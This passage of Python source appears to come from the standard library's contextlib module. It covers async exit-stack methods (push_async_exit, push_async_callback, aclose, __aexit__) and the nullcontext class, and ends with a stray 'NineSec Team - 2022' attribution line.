        _cm_type = type(cm)
        _exit = _cm_type.__aexit__
        result = await _cm_type.__aenter__(cm)
        self._push_async_cm_exit(cm, _exit)
        return result

    def push_async_exit(self, exit):
        """Registers a coroutine function with the standard __aexit__ method
        signature.

        Can suppress exceptions the same way __aexit__ method can.
        Also accepts any object with an __aexit__ method (registering a call
        to the method instead of the object itself).
        """
        _cb_type = type(exit)
        try:
            exit_method = _cb_type.__aexit__
        except AttributeError:
            # Not an async context manager, so assume it's a coroutine function
            self._push_exit_callback(exit, False)
        else:
            self._push_async_cm_exit(exit, exit_method)
        return exit  # Allow use as a decorator

    def push_async_callback(self, callback, /, *args, **kwds):
        """Registers an arbitrary coroutine function and arguments.

        Cannot suppress exceptions.
        """
        _exit_wrapper = self._create_async_cb_wrapper(callback, *args, **kwds)

        # We changed the signature, so using @wraps is not appropriate, but
        # setting __wrapped__ may still help with introspection.
        _exit_wrapper.__wrapped__ = callback
        self._push_exit_callback(_exit_wrapper, False)
        return callback  # Allow use as a decorator

    async def aclose(self):
        """Immediately unwind the context stack."""
        await self.__aexit__(None, None, None)

    def _push_async_cm_exit(self, cm, cm_exit):
        """Helper to correctly register coroutine function to __aexit__
        method."""
        _exit_wrapper = self._create_async_exit_wrapper(cm, cm_exit)
        self._push_exit_callback(_exit_wrapper, False)

    async def __aenter__(self):
        return self

    async def __aexit__(self, *exc_details):
        received_exc = exc_details[0] is not None

        # We manipulate the exception state so it behaves as though
        # we were actually nesting multiple with statements
        frame_exc = sys.exc_info()[1]
        def _fix_exception_context(new_exc, old_exc):
            # Context may not be correct, so find the end of the chain
            while 1:
                exc_context = new_exc.__context__
                if exc_context is None or exc_context is old_exc:
                    # Context is already set correctly (see issue 20317)
                    return
                if exc_context is frame_exc:
                    break
                new_exc = exc_context
            # Change the end of the chain to point to the exception
            # we expect it to reference
            new_exc.__context__ = old_exc

        # Callbacks are invoked in LIFO order to match the behaviour of
        # nested context managers
        suppressed_exc = False
        pending_raise = False
        while self._exit_callbacks:
            is_sync, cb = self._exit_callbacks.pop()
            try:
                if is_sync:
                    cb_suppress = cb(*exc_details)
                else:
                    cb_suppress = await cb(*exc_details)

                if cb_suppress:
                    suppressed_exc = True
                    pending_raise = False
                    exc_details = (None, None, None)
            except:
                new_exc_details = sys.exc_info()
                # simulate the stack of exceptions by setting the context
                _fix_exception_context(new_exc_details[1], exc_details[1])
                pending_raise = True
                exc_details = new_exc_details
        if pending_raise:
            try:
                # bare "raise exc_details[1]" replaces our carefully
                # set-up context
                fixed_ctx = exc_details[1].__context__
                raise exc_details[1]
            except BaseException:
                exc_details[1].__context__ = fixed_ctx
                raise
        return received_exc and suppressed_exc


class nullcontext(AbstractContextManager):
    """Context manager that does no additional processing.

    Used as a stand-in for a normal context manager, when a particular
    block of code is only sometimes used with a normal context manager:

    cm = optional_cm if condition else nullcontext()
    with cm:
        # Perform operation, using optional_cm if condition is True
    """

    def __init__(self, enter_result=None):
        self.enter_result = enter_result

    def __enter__(self):
        return self.enter_result

    def __exit__(self, *excinfo):
        pass

NineSec Team - 2022